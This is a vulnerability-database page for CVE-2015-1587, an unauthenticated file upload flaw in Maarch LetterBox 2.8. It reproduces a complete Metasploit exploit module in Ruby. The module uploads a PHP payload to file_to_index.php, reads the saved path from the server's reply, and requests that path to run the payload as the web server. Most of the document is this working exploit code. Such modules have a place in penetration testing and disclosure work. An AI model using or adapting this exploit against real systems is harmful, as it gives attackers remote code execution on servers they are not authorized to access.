Lucene search
K

Maarch LetterBox 2.8 Unrestricted File Upload

🗓️ 12 Feb 2015 00:00:00Reported by Rob CarrType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 30 Views

Maarch LetterBox 2.8 Unrestricted File Upload vulnerability in file_to_index.php allows unauthenticated users to upload and execute PHP scripts.

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Maarch LetterBox 2.8 Unrestricted File Upload Exploit
14 Feb 201500:00
zdt
Circl
CVE-2015-1587
29 Oct 201400:00
circl
CNVD
Maarch LetterBox Arbitrary File Upload Vulnerability
21 Feb 201500:00
cnvd
CVE
CVE-2015-1587
19 Feb 201515:00
cve
Cvelist
CVE-2015-1587
19 Feb 201515:00
cvelist
Metasploit
Maarch LetterBox Unrestricted File Upload
12 Feb 201517:45
metasploit
NVD
CVE-2015-1587
19 Feb 201515:59
nvd
Prion
Unrestricted file upload
19 Feb 201515:59
prion
`##  
# This module requires Metasploit: http://www.metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
require 'uri'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info = {})  
super(update_info(  
info,  
'Name' => 'Maarch LetterBox 2.8 Unrestricted File Upload',  
'Description' => %q{  
This module exploits a file upload vulnerability on Maarch LetterBox 2.8 due to a lack of  
session and file validation in the file_to_index.php script. It allows unauthenticated  
users to upload files of any type and subsequently execute PHP scripts in the context of  
the web server.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Rob Carr <rob[at]rastating.com>'  
],  
'References' =>  
[  
['CVE', '2015-1587']  
],  
'DisclosureDate' => 'Feb 11 2015',  
'Platform' => 'php',  
'Arch' => ARCH_PHP,  
'Targets' => [['Maarch LetterBox 2.8', {}]],  
'DefaultTarget' => 0  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to Maarch LetterBox', '/'])  
], self.class)  
end  
  
def letterbox_login_url  
normalize_uri(target_uri.path, 'login.php')  
end  
  
def letterbox_upload_url  
normalize_uri(target_uri.path, 'file_to_index.php')  
end  
  
def check  
res = send_request_cgi('method' => 'GET', 'uri' => letterbox_login_url)  
if res.nil? || res.code != 200  
return Msf::Exploit::CheckCode::Unknown  
elsif res.body.include?('alt="Maarch Maerys Archive v2.1 logo"')  
return Msf::Exploit::CheckCode::Appears  
end  
  
Msf::Exploit::CheckCode::Safe  
end  
  
def generate_mime_message(payload, name)  
data = Rex::MIME::Message.new  
data.add_part(payload.encoded, 'text/plain', 'binary', "form-data; name=\"file\"; filename=\"#{name}\"")  
data  
end  
  
def exploit  
print_status("#{peer} - Preparing payload...")  
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"  
data = generate_mime_message(payload, payload_name)  
  
print_status("#{peer} - Uploading payload...")  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => letterbox_upload_url,  
'ctype' => "multipart/form-data; boundary=#{data.bound}",  
'data' => data.to_s  
)  
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?  
fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200  
  
print_status("#{peer} - Parsing server response...")  
captures = res.body.match(/\[local_path\] => (.*\.php)/i).captures  
fail_with(Failure::UnexpectedReply, 'Unable to parse the server response') if captures.nil? || captures[0].nil?  
payload_url = normalize_uri(target_uri.path, captures[0])  
print_good("#{peer} - Response parsed successfully")  
  
print_status("#{peer} - Executing the payload at #{payload_url}")  
register_files_for_cleanup(File.basename(URI.parse(payload_url).path))  
send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation